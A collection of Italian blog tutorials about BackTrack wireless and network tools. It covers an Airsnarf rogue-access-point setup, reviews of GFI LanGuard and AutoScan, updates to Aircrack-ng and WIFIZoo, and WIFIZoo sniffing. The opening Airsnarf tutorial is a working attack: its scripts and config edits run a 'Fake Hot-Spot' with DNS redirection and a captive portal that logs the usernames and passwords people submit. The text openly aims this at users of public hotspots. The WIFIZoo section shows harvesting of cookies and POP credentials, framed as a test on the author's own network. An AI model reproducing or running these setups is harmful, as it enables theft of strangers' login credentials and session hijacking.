E’ quindi, una banale wireless utility  che permette all’Eavesdropper di carpire le credenziali di accesso (user e pwd) di utenti che fanno uso di hot-spot pubblici. (Naturalmente l’uso  che se ne può fare è ben più ampio se usiamo un po’ di immaginazione!  )

Let’s work…

1.Prima di tutto creiamo due cartelle, chiamate “html” e “dhcp”, nei rispettivi percorsi:

“html”  —->  /var/www/
“dhcp” —-> /var/state/

Successivamente creiamo con un editor di testo, il file “dhcpd.leases” e lo copiamo in /var/state/dhcp/

2.Ora apriamo un editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.httpd” e vi copiamo all’interno il seguente source code:

#!/bin/sh
# Start/stop/restart the Apache web server.

conffile=/etc/httpd/httpd.conf

function start() {
if grep -q “^Include /etc/apache/mod_ssl.conf” $conffile ; then
/usr/sbin/apachectl startssl
else
/usr/sbin/apachectl start
fi
}

function stop() {
/usr/sbin/apachectl stop
}

function restart() {
/usr/sbin/apachectl restart
}

# See how we were called.
case “$1″ in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo “usage $0 start|stop|restart” ;;
esac

Fatto questo, salvatelo e chiudete il file.

3.Ora riapriamo l’editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.dhcpd” e vi copiamo all’interno il seguente source code:

#!/bin/sh
# Start/stop/restart the Samba SMB file/print server.

dhcpd_start() {
if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then
echo “Starting Dhcp…”
/usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0
fi
}

dhcpd_stop() {
killall dhcpd
}

dhcpd_restart() {
dhcpd_stop
sleep 2
dhcpd_start
}

case “$1″ in
’start’)
dhcpd_start
;;
’stop’)
dhcpd_stop
;;
‘restart’)
dhcpd_restart
;;
*)
# Default is “start”, for backwards compatibility with previous
# Slackware versions. This may change to a ‘usage’ error someday.
dhcpd_start
esac
Fatto questo, salvatelo e chiudete il file.

4.Entrambi i file andranno copiati nella seguente directory: /etc/rc.d/

5.Ora che siamo nella directory /etc/rc.d/ ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (F4) e digitiamo:

chmod 755 /etc/rc.d/rc.httpd e poi chmod 755 /etc/rc.d/rc.dhcpd

6.Adesso andiamo in /pentest/wireless/airsnarf-0.2  e apriamo Airsnarf con un editor di testo.
Sostituiamo il contenuto del file con il seguente source code:

#!/bin/bash
# airsnarf.sh
# A rogue AP setup utility.

echo “Airsnarf - A rogue AP setup utility.”
echo “0.2″
echo “The Shmoo Group”
# here are some variables you may want to edit
WWW_ROOT=”/var/www/html”
CGI_ROOT=”/var/www/cgi-bin”
LOCAL_CFG=”./cfg”

# specify another config dir with a command line arg if you want
if [ $1 ]
then
LOCAL_CFG=”$1″
fi

source $LOCAL_CFG/airsnarf.cfg

# create the dhcpd.conf
echo -n “Creating dhcpd.conf…”
sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src > /etc/dhcpd.conf
echo “Done.”

# copy over the www stuff
echo -n “Building the captive portal…”
cp $LOCAL_CFG/html/* $WWW_ROOT
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
chmod +x $CGI_ROOT/*
echo “Done.”

# set our wireless parameters
echo -n “Setting the wireless parameters…”
ifconfig $ROGUE_INTERFACE down
wlanconfig $ROGUE_INTERFACE destroy
wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap
ifconfig $ROGUE_INTERFACE up
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
echo “Done.”

# set our ip and default route
echo -n “Setting the ip address and default route…”
ifconfig $ROGUE_INTERFACE $ROGUE_GW
route add -net 0.0.0.0 gw $ROGUE_GW
echo “Done.”

# restart some services
/usr/sbin/dhcpd -cf /etc/dhcpd.conf
/usr/sbin/apachectl restart
#/etc/init.d/sendmail restart

# set up the firewall to redirect
echo -n “Setting up firewall to redirect DNS…”
echo 1 > /proc/sys/net/ipv4/ip_forward
modprobe iptable_nat
iptables -F -t nat
iptables -t nat -A PREROUTING -p udp –dport 53 -j DNAT \
–to $ROGUE_GW
# dammit, I swear this used to work with just an OUTPUT rule…
iptables -t nat -A OUTPUT -p udp –dport 53 -j DNAT \
–to $ROGUE_GW
echo “Done.”

# start the local dns resolver
echo “Starting local DNS resolver…”
chmod +x ./bin/airsnarf_dns.pl
./bin/airsnarf_dns.pl

Fatto questo, salvatelo e chiudete il file.

7.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg  e apriamo Airsnarf.cfg con un editor di testo.
Sostituiamo il contenuto del file con il seguente source code:

ROGUE_SSID=”Fake Hot-Spot”
ROGUE_NET=”192.168.1.”
ROGUE_GW=”192.168.1.254″
ROGUE_INTERFACE=”ath0″
#export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE

8.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg/cgi-bin  e apriamo Airsnarf.cgi con un editor di testo.
Cerchiamo la serie di righe di codice che iniziano con “$mailprog = ‘/usr/sbin/sendmail’;” e finiscono con “close(MAIL);” e le commentiamo col carattere # oppure le cancelliamo.
E vi copiamo il seguente source code:

open (MYFILE, ‘>>/tmp/airsnarf_pwds.txt’);
foreach $key (keys(%FORM)) {
print MYFILE “$key = $FORM{$key}\n”;
print MYFILE “———————-\n”;
}
;

Fatto questo, salvatelo e chiudete il file.

9.Ora basterà che apriate una shell, andiate in /pentest/wireless/airsnarf-0.2/ e lanciate airsnarf.

N.B  Una volta avviato airsnarf, aspettate che compaia la scritta “Waitintg for connections…” e terminate airsnarf. Andate in /var/www/html, copiatevi tutti i file contenutivi e incollate tutti i file qui: /var/www/htdocs  .

/var/www/htdocs .

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags:

GFI Languard

21 aprile 2009


come da titolo andrmo a drscrivere uno dei Vulneability Scanner più famosi che si vedono in rete , stiamo parlando del GFI-Languard , (attualmente alla versione 2.0) , inserito da sempre , in BackTrack nell’ apposita sezione del “Vulnerability Identification“.

GFI-Languard è un prodotto della GFI Security & Messaging Software , è molto famoso e diffuso , grazie alla sua versatilità.

In BackTrack GFI-Languard si avvia grazie all’ ausilio di Wine , infatti già dalla prima apertura del programma l’interfaccia grafica in winz style , è ampiamente riconoscibile.

Il pregio di un programma del genere è quello di racchiudere dentro di se più tools , in grado di metterci nelle migliori condizioni per fare il test delle vulnerabilità note di più domini o server , di ricercare patch mancanti eccetera…

Voglio specificare subito che GFI-Languard può essere usato per identificazione delle vulnerabilità da parte di admin e non per creare attacchi e quindi eseguire pentesting , anche se dopo una scansione effettuata si può decidere di compiere lo stesso un attacco , ma vedrete dalle righe che seguono eventuali opzioni da prendere in considerazione.

Avendo in locale il mio Server , facciamo con GFI-Languard una prova per vedere come funziona e che risultato ci fornisce.

Passiamo quindi a fare il nostro scanning , non prima naturalmente di aver messo a posto delle opzioni…

Innanzitutto bisogna selezionare l’ host da scannerizzare , che potrebbero essere anche più di uno , potremmo effettuare delle scansioni di interi network , su un intero dominio Windows ad esempio e dal risultato in basso , in formato html , riusciremo a vedere tutte le informazioni raccolte , host per host.

Nel mio caso , avendo nella mia Lan un Server all’ indirizzo 29.230.6.75 , inserirò quest’ IP nello spazio indicato in alto , tenendo conto di tenermi l’ host anche per futuri esperimenti , dandogli quindi un nome , un eventuale commento e salvando il tutto.

Ma andiamo avanti…

Nella selezione degli Alerts , l’ icona con il punto esclamativo , vengono inserite tutte quelle vulnerabilità che a noi più interessano , ma che GFI-Languard seleziona automaticamente tutte in blocco.

Questa l’interfaccia dopo la scannerizzazione del server..

***

***

Come possiamo vedere dall’ immagine , GFI-Languard ci ha restituito un ampio e dettagliato risultato , dagli header del sito che si trova sul server , all’ intero range di informazioni che il server usa per i DNS e la Subnet che uso io.

Lo scanning , bisogna dirlo , non è durato molto , ed ha restituito un buon numero di informazioni , dal MAC-Address , a tutti i servizi aperti , porta per porta , che nel nostro caso sono stati individuati:

Il servizio Samba , il webserver Apache con tipo di protocollo , (SSH - HTTP-secure) , PHP alla versione 5.2.1 , Il tipo di server WinServer2003 Spk.2 , la versione , e 5 porte aperte con tanto di servizio incluso.

La caratteristica principale di un prodotto quale GFI-Languard , è quella di evitare all’ utente di verificare servizio per servizio tutte le possibili “aperture” sconsiderate e che potrebbero causare problemi legati a vulnerabilità “note” , con un notevole risparrmio di tempo e di lavoro.

La rilevazioni che GFI-Languard tiene in considerazione principalmente sono:

Il tipo di Server , la versione ed eventuale Service Pack.—>Nel nostro caso ripeto: WinServ.2003 - Spk.2 - con il Mac-Address riportato , il nome del Workgroup ed il nome dell’ host.

Le eventuali patch di sicurezza mancanti

I punti di accesso Wireles.

Condivisioni in linea e porte aperte.

—>Nel nostro caso ha trovato: Samba , Subnet , 5 porte aperte con servizi annessi e nessun utente “loggato”

Naturalmente volendo possiamo “maneggiare” tutti i tipi di alert , solo per fare un esempio ho lasciato selezionata la spunta sul controllo CGI , (Common Gateway Interface) , perché l’ host da scannerizzare conteneva un webserver , ma nel caso sia stato una situazione diversa , per risparmio di tempo e di lettura risultato , avrei benissimo potuto togliere la spunta di selezione.

Il tutto è stato eseguito nel mio caso per la prima volta con GFI-Languard , la prossima volta potrò tenere il profilo salvato con le stesse condizioni di utilizzo.

Una caratteristica , importante , che GFI-Languard ci mette a disposizione è l’ accesso da remoto sul computer/server con delle credenziali determinate… …esempio:

***

***

Nel caso indicato in figura , possiamo vedere che le impostazioni di accesso sono quelle che GFI-Languard usa di default , ma che noi possiamo cambiare a seconda della situazione in cui ci troviamo.

Sul mio server , non posso ovviamente accedervi senza credenziali , sono nella mia subnet , abbastanza sicura , ma per accedervi devo usare username e password dell’ account administrator oppure di un utente guest o altro.

Questa particolare scelta ci permette di avere dal risultato della scansione molte cose utili in più alla scansione già effettuata in precedenza , come ad esempio il test della complessità della password usata , , per i sistemi UNIX della KEY , mettendoci in condizioni tali da poterla eventualmente cambiare.

Quando in questo caso GFI-Languard esegue una scansione , le credenziali di accesso da remoto sono quelle che caratterizzano il sistema su cui GFI-Languard è in esecuzione , intese come “default”.

Queste credenziali che GFI-Languard ci fa inserire sono , come detto sopra , salvabili all’ interno di ogni profilo , in questo modo ci possiamo connettere ad ogni server con delle credenziali diverse , ognuna contenuta in un profilo diverso, eseguibile ad ogni scansione singolarmante e tutti insieme , tanto il risultato sarà sempre descrittivo host - per - host , server per server , dominio per dominio.

GFI-Languard è un’ ottimo tool per la scansione di Servizi aperti e di Eventuali possibili falle su sistemi , ma come pentesting , (inteso come vero attacco) , bisogna rendersi conto di più fattori , come , giusto per fare qualche esempio , il fatto che GFI-Languard lascia log sui sistemi scannerizzati , avverte in modo chiaro gli admin dei ping ricevuti , non performa i ping dopo che l’ host in ricezione ha rigettato lo stesso , considerandolo down , spento… …ma non credo sia questo il suo scopo.

Per ciò per cui è stato creato , è un ottimo tool senza ombra alcuna , in caso di BUG “noti” , GFI-Languard ci fornisce addirittura la natura della patch e dove poterla reperire , questo è propriamente il suo ruolo a cui credo adempia ampiamente , pensiamo ad un admin aziendale , che deve tenere sott’ occhio una cinquantina di pc magari su più domini , non credo che sia un programma di cui si possa fare a meno.

Il mio server , creato per consentirmi di fare pentesting , quindi BUGato se preso all’ interno della mia subnet , non è stato oggetto di verifica da parte di GFI-Languard , la versione di PHP che utilizzo insieme alla versione di apache porta un BUG , (anche vecchio e molto conosciuto) , ma che non è risultato nella scansione.

Nel compenso GFI-Languard è stato in grado di enumerarmi tutta la subnet e l’ ha fatto in maniera velocissima , e soprattutto è stato in grado di riportarmi tutte le informazioni che un admin , su WinServer 2003 , avrebbe scoperto con molto più tempo e lavoro.

Un altro dei tanti ottimi prodotti inseriti in BackTrack , che usato allo scopo giusto , ci evita di spendere una granparte di tempo e fatica.

I risultati di scansione sono organizzati in categorie , e visibili comodamente all’ occhio tramite delle icone , di cui ne riporto un solo esempio:

  • Icona che indica una vulnerabilità
  • Vulnerabilità Potenziale
  • Condivisioni attive sull’ host
  • Applicazioni trovate in esecuzione
  • Schede di rete , MAC-Address , eccetera
  • Porte TCP aperte
  • Stato dell’applicazione di patch nel sistema
  • NETBIOS con name e tutto il resto
  • Computer
  • Gruppi trovati
  • Utenti
  • Utenti connessi
  • Sessioni aperte
  • Servizi
  • Processi
  • Orario da remoto

Da qui possiamo già capire che se abbiamo bisogno di scannerizzare e tenere sotto controllo 2/3 domini , GFI-Languard è quello che fa al caso nostro.

La grande veersatilità di configurazione poi di cui gode GFI-Languard è a dir poco eccezionale , secondo ogni criterio è possibile fare una configurazione diversa della nostra scansione , facendo riferimento ad una scansione predefinita con un determinato profilo salvato , GFI-Languard ci mette al corrente delle diversità tra più scansioni e lo fa con le caratteristiche di cui gode maggiormente , velocità ed efficacia di analisi settore per settore , servizio per servizio , con orario di login di eventuali utenti connessi e tutto ciò che serve ad un admin per poter tenere sotto controllo il proprio network , il tutto comodamente salvato in un file html.

***

***

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags:

AutoScan -your network monitor-

21 aprile 2009

***

Autoscan, un tool multifunzione , potente e facile da gestire , inserito in BackTrack nella sezione del Network Mapping.

Perchè multifunzione?

Il fatto è il seguente…

In BackTrack a menochè non ci si crei un utente dopo l installazione , ci si “logga” come utente amministratore… …root , questa è una caratteristica che può causare vari problemi se si fanno degli errori , ma oltre a questo si è vulnerabili a livello di sicurezza.

Fermorestando che rimango sempre dell’opinione che la cosa migliore da fare sia crearsi un utente supplementare , Autoscan può risolvere , (almeno in parte) , anche la questione sicurezza , fungendo quindi , se impostato in maniera corretta , come un vero e proprio firewall.

Le molte funzionalità che contraddistinguono Autoscan lo inseriscono tra i livelli piu alti tra tutti i tool della sua categoria , infatti solo per aggiungere la caratteristica principale del programma , Autoscan è famoso per avere la possibilità di controllare il proprio network non solo in locale , ma anche a distanza… …anche più di un network , con predisposizione a molti apparati hardware.

Le caratteristiche di Autoscan sono molte , diamo solo per iniziare uno sguardo all’ interfaccia grafica…

***

null

***

Autoscan può controllare tutti i tipi di reti , anche quelle , naturalmente dopo una propria configurazione , protette da firewall.

Elenchiamo ora alcune principali caratteristiche di Autoscan:

–> scansione della rete in multi-thread;
–> esplorazione automatica della rete;
–> nessun sovraccarico di rete dovuto al tool;
–> utilizzo di user “agents”;

inoltre:

–>analisi automatica della rete;
–>supervisione dei dispositivi (router, server, firewall, ….)
–>supervisione dei vari servizi di rete (smtp, http, pop, …)
–>riconoscimento automatico dei vari dispositivi; è possibile aggiungere nel database , dispositivi che il tool non riconosce;
–>lo schema della scansione della rete può essere salvato in un file XML;
–>riconoscimento di vari intrusioni nella rete , (in “intruders detection mode” tutti i nuovi dispositivi aggiunti saranno considerati intrusi);
–>esplorazione del file sharing;
–>client telnet;
–>client nessus;
–>funzione “wake on” su lan;
–>non sono richiesti privilegi di root;

[COME SI PRESENTA]


L’applicazione è composta principalmente da due parti:

–> Una parte grafica che stampa i risultati e dà l’accesso all’operatore a tutte le funzionalità.
–> La parte che scansiona la rete e supervisiona i dispositivi

L’interfaccia grafica è in grado di connettere uno o più agents , (in locale o remoto) , per supervisionare contemporaneamente più reti remote , (viene impiegato un agent per ogni rete supervisionata).

[PER AGGIUNGERE NUOVE RETI]

Nella prima pagina del wizard è possibile inserire una nuova rete o riprendere la configurazione di una rete già salvata.
Creazione di una nuova rete:
-Mettere innanzitutto la spunta su “new“;
-Immettere il nome della rete nel campo apposito (siate sicuri di avere nomi differenti per ognuna delle reti da supervisionare);
-scegliere un’icona per la propria rete , tenendo in considerazione le icone adatte al tipo do rete.
-Nel campo “Private subnet” ci sono le varie reti private che in seguito saranno scansionate con Autoscan (lasciare le impostazioni di default);
-nel campo più in basso scegliere il nome dell’SNMP (se siete indecisi
lasciate quello di default);
-L’opzione riguardante “Dynamic IP” informa l’agent di
prendersi cura di eventuali cambi di IP (è quindi consigliabile
lasciare la spunta).
Per quanto riguarda invece l’utilizzo di una rete già creata in
precedenza:
-Mettete la spunta su “restore” invece che su “new”;
-Aprite il file XML salvato della vostra rete.

Nella pagina successiva si può scegliere quale rete si vuole scansionare.
-Mettete la spunta su “localhost” se state effettuando la scansione
mediante “l’agent” locale;
-Mettete invece la spunta a “connect to host” se volete connettere la
vostra macchina ad un agent remoto, in questo caso aggiungete le
informazioni nei vari campi per connettervi alla macchina remota in
cui vi sarà in esecuzione ‘autoscan-network-daemon’.

***

null

***

Nella terza pagina si potrà scegliere l’interfaccia di rete,
e in caso voi stiate eseguendo autoscan su una macchina remota, è proprio
durante questo passaggio che la vostra macchina scambia
informazioni con quella remota, in seguito a questa operazione
potrete scegliere l’interfaccia di rete

***

null

***

L’ultima pagina è soltanto un sommario dei dati inseriti dunque
cliccate su avanti.

Se volete inserire una ulteriore rete basta che clicchiate su
“add a network” e si avvierà di nuovo un wizard come quello precedente..

COME AGISCE: Autoscan scansiona permanentemente la rete , cercando nuovi dispositivi. Quando ne viene inserito uno, Autoscan identifica il dispositivo e il modello (alcuni tra i dispositivi compatibili sono: notepad,desktop, servers, switch, router, video games, telefoni su IP, telecamere di sorveglianza, fax…..) L’identificazione di un dispositivo è basata sul riconoscimento di pacchetti, infatti ogni tipo di dispositivo ha una propria caratteristica nei pacchetti e Autoscan esegue un fingerprint confrontando i dati del dispositivo con quelli contenuti nel suo database. I dispositivi che non vengono riconosciuti vengono immessi in una lista separata. L’utente dunque può aggiungere al database i propri dispositivi non riconosciuti cliccando sul dispositivo non riconosciuto e seguendo l’apposito wizard. L’utente può addirittura aggiungere icone all’interno del tool , basta che copi i file desiderati in:
/opt/AutoScan/usr/share/pixmaps/autoscan-network/Equipment/

Questo per fare in modo che tutti coloro che hanno da monitorare più reti e diverse tra loro possano facilmente conraddistinguerle.

[L'INTERFACCIA]
Durante l’analisi della rete, i dispositivi sono rappresentati nella parte sinistra della finestra. Cliccando su uno di questi dispositivi, si visualizzano le informazioni relative al dispositivo stesso e precisamente queste informazioni vengono visualizzate nella parte destra dello schermo.
Le informazioni visualizzate riguardano:

IP Address
MAC Address
marca modello e chipset del network adapter
Open ports


ed altre informazioni a carattere personale , (in cui ognuno può mettere le informazioni che vuole ad es. email, proprio nome…..).

Nella maggior parte dei casi vengono anche individuati i servizi che ascoltano sulle porte indicate, e viene riportato uno schema grafico nella finestra di destra, sotto quella con le informazioni.
La barra situata nell’angolo sinistro ci mostra la progressione della scansione in corso, inoltre essa ci mostra:

-Il numero dei dispositivi trovati;
-Il numero dei dispositivi analizzati;
-Il numero dei dispositivi che saranno scansionati;
-Percentuale della scansione corrente visualizzata nella barra di progressione.

Lo schema della nostra rete può essere visualizzato in due modi; è possibile cambiare la visualizzazione cliccando con il tasto destro del mouse sulla lista dei dispositivi.

Questi sono solo alcuni screenshot che mostrano come Autoscan monitorizzi due reti diverse , quella sul mio laptop e quella sul mio Server , dove nel primo caso ho inserito l’intrusion detection , essendo in BackTrack e non avendo ancora creato il mio secondo utente , mentre sul server è in esecuzione come monitor di rete dei servizi che vedete tramite le icone.

questi screenshot mostrano la possibilita , con un account Nessus , di testare eventualmente la rete, possibile anche comunicare tramite il protocolo Telnet ed usufruire di tool come nMap e Ping per controllare appunto le porte in modo rapido ed efficace.

nullnull

nullnull

Dalla penultima immagine potete vedere come io stia monitorando senza alcun intervento il mio laptop , il mio server e tutta la subnet ad esso collegata…

Dall’ultimo screenshot invece potete vedere come AutoScan , sempre tenendo conto di una configurazione della subnet adeguata , o come in questo caso di una possibilità di comunicazione con il server principale , ci dia la possibilità di connetterci utilizzando i tool gia presenti nel sistema , in questo caso la nostra BackTrack , che avendo Konqueror e Firefox di prima installazione , ci permette di accedere a Fpt con gli stessi tool , facendo apparire un’ opzione al passaggio del mouse.

Bene , questo è tutto , abbiamo fatto , almeno lo speriamo , una sufficiente descrizione di un ottimo programma , che permette a tutti coloro che devono garantirsi una certa sicurezza di tenere sotto controllo la prorpia rete , monitorandola con AutoScan , saremo avvertiti in tempo reale di tutto ciò di cui abbiamo bisogno.

Per riprendere il discorso dell’inizio tutorial e dell’uso in BackTrack di AutoScan come Firewall , aggiungo anche che usando AutoScan insieme a KsysGuard configurato per il network-monitoring , si ottiene un’ottima soluzione che è una barriera davvero potente e considerando l’azione che svolgono anche non invadente.

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags:

Aircrack-ng & WIFIZoo update

21 aprile 2009

helpdesk.jpg

questo breve tutorial spiega come aggiornare alle versioni più recenti 2 tool in vostro possesso con l’utilizzo di BackTrack 3:

  • la suite di tools Aircrack-NG
  • lo sniffer WIFIZoo

[#][#]Aircrack-NG
L’attuale versione installata in BT3 di Aircrack-ng è la 1.0-beta1; noi in questo tutorial vedremo come passare dalla 1.0-beta1 alla 1.0-beta2 lasciando inalterato il supporto per SQLite, cosi da poter ancora utilizzare Airolib-ng per la creazione di database. Tra le varie novità proposte dalla versione 1.0-beta2 si può notare con piacere che gli sviluppatori di questo magnifico tool hanno ridotto a 2 i pacchetti necessari al cracking della chiave WPA (prima occorreva catturare tutti e 4 i passaggi dell’handshake); comunque vi rimando alla pagina contente il changelog della versione 1.0-beta2 per dettagli più accurati sul lavoro svolto dagli sviluppatori di Aircrack-ng.
Vi ricordo che le informazioni su come aggiornare Aircrack-ng sono presenti anche sul suo wiki.
Prima di iniziare creiamo una directory dalla quale lavoreremo:

———
cd /root
mkdir update
cd update
———

ora scarichiamo con wget l’archivio contenente il codice di Aircrack-ng e scompattiamolo:

———
wget http://download.aircrack-ng.org/aircrack-ng-1.0-beta2.tar.gz
tar -zxvf aircrack-ng-1.0-beta2.tar.gz
———

Non ci rimane che entrare nella directory creata scompattando Aircrack-ng per compilarlo ed installarlo con il supporto per Airolib-ng:

———
cd aircrack-ng-1.0-beta2
make sqlite=true
make sqlite=true install
———

A questo punto abbiamo la versione 1.0-beta2 di Aircrack-ng compilata ed installata correttamente e funzionante!

[#][#]WIFIZoo
WIFIZoo è uno sniffer che lavora sul protocollo 802.11; è in grado di catturare e mostrare in tempo reale le informazioni pasanti sulle reti non protette come password POP, cookies etc.
La versione presente in BT3 è la 1.2, ma noi la aggiorneremo alla versione 1.3 che, a differenza della versione precedente, ha in più il supporto per leggere da un file del traffico catturato in precedenza (es. con Kismet o Airodump-ng).

Prima di tutto entriamo nella nostra cartella “update” se non ci siamo già:

———
cd /root/update
———

quindi scarichiamo la versione 1.3 di WIFIZoo:

———
wget http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.3.tgz
———

sccompattiamo WIFIZoo e entriamo nella directory creata:

———
tar zxvf wifizoo_v1.3.tgz
cd wifizoo_v1.3
———

ora dobbiamo scaricare “scapy.py“, necessario al funzionamento del programma:

———
wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
———

WIFIZoo è scritto in Python che è gia installato in BT3, dobbiamo solo configurarlo affinchè riconosca la nostra interfaccia di rete, lo stesso vale per “scapy.py“.
Apriamo con un editor di testo il file “wifizoo.py” e modifichiamo la voce “conf.iface = ‘rausb0′” (linea 50) in modo che rispecchi la nostra configurazione, esempio avendo una scheda con chipset Atheros la linea in va cambiata inconf.iface = ‘ath0′“.
Adesso possiamo passare ad editare “scapy.py“, quindi apriamo il file con un editor testuale e modifichiamo la linea 13270 inserendo al posto di “betteriface” una riga simile a quella che inseriamo in Kismet nella voce source, usando un chipset Atheros io ho modificato la linea in modo che diventiconf.iface = ‘madwifing_g,ath0,madwifi’“.

Adesso che WIFIZoo è configurato non ci resta che sostituirlo al precedente e creare al suo interno la directory dove verranno salvati i logs ad ogni suo utilizzo, quindi:

———
rm -r /pentest/wireless/wifizoo/*
cp -r * /pentest/wireless/wifizoo
mkdir /pentest/wireless/wifizoo/logs
———

Prima di testare WIFIZoo installeremo Graphviz, questo tool permetterà a WIFIZoo di creare dei grafici che mettano in relazione BSSID con i client ad essi associati:

———
wget http://www.graphviz.org/pub/graphviz/ARCHIVE/graphviz-working.tar.gz
tar zxvf graphviz-working.tar.gz
cd graphviz-2.16.1/
———

durante l’installazione ho avuto dei problemi con le librerie grafiche, cosi cercando sul forum di Remote-Exploit.org ho trovato la soluzione ai miei problemi seguendo il post di KMDave, in pratica dobbiamo creare un collegamente al file “gdkconfig.h” prima di procedere con la normale procedura di installazione da sorgenti, quindi:

———
ln -s /usr/lib/gtk-2.0/include/gdkconfig.h /usr/include
./configure
make
make install
———

A questo punto WIFIZoo è perfettamente funzionante, non dovete fare altro che recarvi dentro la directory di WIFIZoo e lanciarlo con:

———
python wifizoo.py -i atho
———

dove “ath0″ rappresenta la vostra interfaccia di rete settata in monitor mode.

Adesso che abbiamo finito il nostro lavoro eliminiamo la cartella “update” dalla nostra home:

———
cd /root
rm -r update
———

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags:

802.11 sniffing con WIFIZoo

21 aprile 2009

Nonostante le più recenti misure di sicurezza adottate dal protocollo 802.11 si siano rilevate abbastanza solide, ancora oggi utenti sprovveduti lasciano aperta la propria rete, rendendola indifesa davanti al tentativo di accesso da parte di chiunque sia nel raggio dell’Access Point. Ma avere della banda occupata da qualcuno non autorizzato, per certi versi, non è il rischio più alto.

Se la rete WiFi che utilizziamo non adotta nessun tipo di crittografia dei dati significa che qualunque dato trasmesso è in chiaro; quindi, a meno che non stiamo utilizzando una protezione di livello più alto (es. SSH), ogni dato intercettato è leggibile da chiunque ne sia in possesso. L’attività di intercettazione passiva dei dati che transitano in una rete telematica (Wikipedia) è chiamata sniffing.

BackTrack 3 mette a disposizione vari tool che consentono di fare sniffing, uno di questi è WIFIZoo, sviluppato da Hernan Ochoa.

WIFIZoo permette di catturare passivamente informazioni passanti su una rete non protetta in maniera del tutto automatica, inoltre è dotato di un’interfaccia grafica molto intuitiva, anche di un sistema di logging del traffico e un proxy integrato. Lo sniffer legge tra i pacchetti catturati dalla scheda wireless per carpirne quanti più dati “sensibili” presenti al loro interno; permette di recuperare facilmente tutti quei dati che per loro natura passano in chiaro sulla rete. Oltre a sniffare i pacchetti in chiaro su connessioni WiFi non protette WIFIZoo crea anche dei piccolo grafici che mostrano BSSID e client ad essi associati.

Prima di poter procedere con un piccolo test sulla nostra rete dobbiamo configurare WIFIZoo in modo corretto, seguite questo piccolo tutorial per aggiornarlo e configurarlo correttamente.

Visto che proviamo il programma su una rete di nostra proprietà usiamo Airodump-ng per bloccare la nostra scheda di rete in ascolto su un canale specifico, quindi apriamo un terminale e digitiamo:

———–
airmon-ng start wifi0 11
airodump-ng –channel 11 ath0
———–

in questo modo la nostra scheda è in ascolto solo sul canale di trasmissione della nostra rete, questo eviterà di intercettare per sbaglio comunicazioni che arrivano da reti non in nostro possesso. Adesso avviamo WIFIZoo sempre da terminale:

———–
cd /pentest/wireless/wifizoo
python wifizoo.py -i ath0
———–

e creiamo del traffico con un client connesso alla nostra rete; quindi aprimo un browser qualunque e digitiamo nella barra degli indirizzi:

———–
http://127.0.0.1:8000
———–

Se WIFIZoo è configurato ed installato correttamente dovreste vedere l’interfaccia web di WIFIZoo che ha il compito di riassumere a grandi linee i dati catturati.
Analizziamo le voci presenti in questa interfaccia una ad una:

[General info]
SSIDS (AP) List
Mostra la lista degli AP rilevati comprensiva di MAC address, numero di client connessi e casa produttrice; la pagina è dotata di refresh automatico e se cliccate sul MAC di un AP apparirà la lista dei client ad esso connessi.

BSSID->Clients Graph
Questa finestra vi mostra un grafico che raffigura a quali AP sono collegati i client, se un client dovesse passare da un AP a un’altro lo dovreste vedere.

Probes Graph
Anche in questa finestra è mostrato un grafico, ma questa volta rappresenta le probes request di Ap verso i client.

SSIDS Obtained from ProbeRequests
Analoga alla finestra successiva ma mostra gli i nomi SSID ottenuti dalle richieste effettuate dai client verso gli AP

Stats
E’ un riassunto generale dei dati sniffati, comprende il numero dei pacchetti catturati divisi per porta e protocollo.

[Captured Data]
POP3 Credentials
Raccoglie le informazioni su credenziali raccolte sul protocollo POP (email)

Cookies
Questa è una delle finestre più interessanti, infatti presenta una dettagliata didascalia di tutti i cookies sniffati da sessioni HTTP. I cookies sono mostrati sotto forma di link, seguendo questi link si passa dal proxy di WIFIZoo che li setta in automatico e vi reindirizza alla pagina web a cui il cookie fa riferimento.

FTP Data e SMTP Data
Queste due finestre sono analoghe alla finestra “POP3 Credentials”, solo che mostrano informazioni in chiaro dei protocolli SMTP e FTP.

Oltre all’interfaccia di gestione via browser all’interno della cartella dove risiede wifizoo.py, c’è una directory chiamata “logs” dove vengono memorizzati tutti i log dello sniffing effettuato da WIFIZoo.

Concludo ricordandovi che se doveste usare questo programma su reti non di vostra proprietà commettereste un reato.

Fonte: Carlito Brigante Blog

Author: admin Categories: Backtrack Tags: